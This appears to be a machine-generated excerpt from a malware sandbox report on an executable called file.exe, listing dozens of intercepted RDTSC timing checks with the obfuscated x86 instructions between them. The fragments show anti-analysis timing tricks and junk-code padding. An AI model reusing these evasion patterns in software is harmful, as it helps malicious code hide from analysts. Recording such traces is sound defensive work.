Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5BF5C second address: C5BF62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5BF62 second address: C5BF66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5D82E second address: C5D861 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 je 00007F08C0CB4535h 0x0000000e jmp 00007F08C0CB452Fh 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push edi 0x00000016 pushad 0x00000017 jmp 00007F08C0CB4530h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5D42D second address: C5D433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5F37B second address: C5F399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F08C0CB4535h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5F399 second address: C5F39D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5F39D second address: C5F3A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5F3A7 second address: C5F3AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50CA7 second address: 4C50D07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB4539h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [eax+00000FDCh] 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F08C0CB452Ch 0x00000016 jmp 00007F08C0CB4535h 0x0000001b popfd 0x0000001c mov ch, 00h 0x0000001e popad 0x0000001f test ecx, ecx 0x00000021 pushad 0x00000022 mov dh, CAh 0x00000024 popad 0x00000025 jns 00007F08C0CB4563h 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov dx, A30Ch 0x00000032 mov bl, E3h 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50D07 second address: 4C50D78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C91967h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add eax, ecx 0x0000000b jmp 00007F08C0C91966h 0x00000010 mov eax, dword ptr [eax+00000860h] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push edi 0x0000001a pop esi 0x0000001b pushfd 0x0000001c jmp 00007F08C0C91969h 0x00000021 or ecx, 55106CA6h 0x00000027 jmp 00007F08C0C91961h 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50D78 second address: 4C50DA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB4531h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov dx, FFDEh 0x00000012 call 00007F08C0CB452Fh 0x00000017 pop eax 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50DA7 second address: 4C50DAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50DAD second address: 4C50DB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50DB1 second address: 4C50DB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50DB5 second address: 4C50DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F093299A4C8h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 call 00007F08C0CB4539h 0x00000016 pop eax 0x00000017 mov esi, edx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50DE3 second address: 4C50E16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C9195Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [eax+04h], 00000005h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F08C0C9195Dh 0x00000015 jmp 00007F08C0C91960h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70009 second address: 4C7000E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7000E second address: 4C70014 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70014 second address: 4C70018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70018 second address: 4C7001C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7001C second address: 4C70058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F08C0CB452Fh 0x00000012 xor ax, 9F3Eh 0x00000017 jmp 00007F08C0CB4539h 0x0000001c popfd 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70058 second address: 4C7005E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7005E second address: 4C7008A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB452Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F08C0CB4534h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7008A second address: 4C70090 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70090 second address: 4C70094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70094 second address: 4C700A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C700A3 second address: 4C700A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C700A7 second address: 4C700B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C9195Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C700B9 second address: 4C700E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB452Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F08C0CB4536h 0x00000010 mov edx, dword ptr [ebp+0Ch] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C700E9 second address: 4C700ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C700ED second address: 4C700F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C700F1 second address: 4C700F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C700F7 second address: 4C700FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C700FD second address: 4C70101 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60615 second address: 4C60624 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB452Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60624 second address: 4C606C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F08C0C9195Fh 0x00000009 xor si, B40Eh 0x0000000e jmp 00007F08C0C91969h 0x00000013 popfd 0x00000014 mov dx, ax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007F08C0C9195Dh 0x00000020 xchg eax, ebp 0x00000021 jmp 00007F08C0C9195Eh 0x00000026 mov ebp, esp 0x00000028 jmp 00007F08C0C91960h 0x0000002d xchg eax, ecx 0x0000002e jmp 00007F08C0C91960h 0x00000033 push eax 0x00000034 jmp 00007F08C0C9195Bh 0x00000039 xchg eax, ecx 0x0000003a jmp 00007F08C0C91966h 0x0000003f xchg eax, esi 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C606C6 second address: 4C606CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C606CA second address: 4C606D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C606D0 second address: 4C606FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F08C0CB4532h 0x00000008 pop esi 0x00000009 mov eax, ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F08C0CB452Ch 0x00000014 xchg eax, esi 0x00000015 pushad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C606FD second address: 4C6073E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop ebx 0x00000006 popad 0x00000007 mov esi, 6101B295h 0x0000000c popad 0x0000000d lea eax, dword ptr [ebp-04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F08C0C9195Dh 0x00000018 pushfd 0x00000019 jmp 00007F08C0C91960h 0x0000001e adc cl, FFFFFF98h 0x00000021 jmp 00007F08C0C9195Bh 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6073E second address: 4C60744 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60744 second address: 4C60748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60748 second address: 4C60783 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov cx, dx 0x0000000f pushfd 0x00000010 jmp 00007F08C0CB4535h 0x00000015 adc cl, FFFFFFE6h 0x00000018 jmp 00007F08C0CB4531h 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60783 second address: 4C607B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C91961h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jmp 00007F08C0C9195Eh 0x00000011 push dword ptr [ebp+08h] 0x00000014 pushad 0x00000015 mov si, E2CDh 0x00000019 push eax 0x0000001a push edx 0x0000001b mov ecx, 7D2160EFh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6090F second address: 4C6000D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB452Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F08C0CB4532h 0x0000000e popad 0x0000000f retn 0004h 0x00000012 nop 0x00000013 cmp eax, 00000000h 0x00000016 setne al 0x00000019 xor ebx, ebx 0x0000001b test al, 01h 0x0000001d jne 00007F08C0CB4527h 0x0000001f xor eax, eax 0x00000021 sub esp, 08h 0x00000024 mov dword ptr [esp], 00000000h 0x0000002b mov dword ptr [esp+04h], 00000000h 0x00000033 call 00007F08C4F6BDBDh 0x00000038 mov edi, edi 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d push edx 0x0000003e pop eax 0x0000003f mov ebx, 13E8690Ch 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6000D second address: 4C6003B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 5437h 0x00000007 mov si, FCD3h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F08C0C91966h 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov al, 60h 0x0000001a push edx 0x0000001b pop esi 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6003B second address: 4C60090 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB4532h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cx, B8CDh 0x0000000f jmp 00007F08C0CB452Ah 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 jmp 00007F08C0CB4530h 0x0000001c push FFFFFFFEh 0x0000001e pushad 0x0000001f mov ax, A1ADh 0x00000023 pushad 0x00000024 mov edi, esi 0x00000026 mov ecx, 039182EBh 0x0000002b popad 0x0000002c popad 0x0000002d push 34987767h 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60090 second address: 4C60096 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60096 second address: 4C6009C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6009C second address: 4C600A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C600A0 second address: 4C600A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C600A4 second address: 4C600DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 420226E1h 0x0000000f jmp 00007F08C0C91969h 0x00000014 push 58F6A63Fh 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F08C0C9195Ah 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C600DD second address: 4C600F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB452Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 1D9E8531h 0x00000010 pushad 0x00000011 pushad 0x00000012 mov bl, ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C600F9 second address: 4C6015A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push ecx 0x00000007 pop ebx 0x00000008 pop esi 0x00000009 popad 0x0000000a mov eax, dword ptr fs:[00000000h] 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F08C0C9195Ch 0x00000019 add si, 7298h 0x0000001e jmp 00007F08C0C9195Bh 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007F08C0C91968h 0x0000002a jmp 00007F08C0C91965h 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6015A second address: 4C6018F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB4531h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F08C0CB452Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F08C0CB452Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6018F second address: 4C601B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C9195Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F08C0C91965h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C601B6 second address: 4C60245 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB4531h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 18h 0x0000000c jmp 00007F08C0CB452Eh 0x00000011 xchg eax, ebx 0x00000012 jmp 00007F08C0CB4530h 0x00000017 push eax 0x00000018 jmp 00007F08C0CB452Bh 0x0000001d xchg eax, ebx 0x0000001e jmp 00007F08C0CB4536h 0x00000023 xchg eax, esi 0x00000024 jmp 00007F08C0CB4530h 0x00000029 push eax 0x0000002a jmp 00007F08C0CB452Bh 0x0000002f xchg eax, esi 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F08C0CB4535h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60245 second address: 4C6028D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C91961h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007F08C0C9195Eh 0x0000000f push eax 0x00000010 jmp 00007F08C0C9195Bh 0x00000015 xchg eax, edi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F08C0C91965h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6028D second address: 4C602AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB4531h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [769B4538h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 movsx edi, cx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C602AF second address: 4C602B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C602B4 second address: 4C602F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F08C0CB4537h 0x0000000b jmp 00007F08C0CB4533h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xor dword ptr [ebp-08h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov ebx, 19FF6206h 0x0000001f mov ebx, 221F9892h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C602F9 second address: 4C602FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C602FF second address: 4C60303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60303 second address: 4C60307 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60307 second address: 4C6035B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, ebp 0x0000000a jmp 00007F08C0CB4537h 0x0000000f nop 0x00000010 jmp 00007F08C0CB4536h 0x00000015 push eax 0x00000016 pushad 0x00000017 push edi 0x00000018 mov edi, esi 0x0000001a pop ecx 0x0000001b mov dx, 394Ch 0x0000001f popad 0x00000020 nop 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F08C0CB452Eh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6035B second address: 4C603AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C9195Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F08C0C91964h 0x00000013 and si, 57C8h 0x00000018 jmp 00007F08C0C9195Bh 0x0000001d popfd 0x0000001e call 00007F08C0C91968h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C603AE second address: 4C603F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov dword ptr fs:[00000000h], eax 0x0000000c jmp 00007F08C0CB4537h 0x00000011 mov dword ptr [ebp-18h], esp 0x00000014 jmp 00007F08C0CB4536h 0x00000019 mov eax, dword ptr fs:[00000018h] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 movsx edx, si 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C603F9 second address: 4C6040D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F08C0C91960h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6040D second address: 4C60411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60411 second address: 4C6042B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [eax+00000FDCh] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F08C0C9195Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6042B second address: 4C60431 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60431 second address: 4C60435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60435 second address: 4C6048E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test ecx, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F08C0CB4532h 0x00000013 jmp 00007F08C0CB4535h 0x00000018 popfd 0x00000019 pushfd 0x0000001a jmp 00007F08C0CB4530h 0x0000001f sub si, B608h 0x00000024 jmp 00007F08C0CB452Bh 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6048E second address: 4C604A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F08C0C91964h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C604A6 second address: 4C604AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C604AA second address: 4C604BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007F08C0C919B2h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C604BE second address: 4C604C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C604C2 second address: 4C604C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
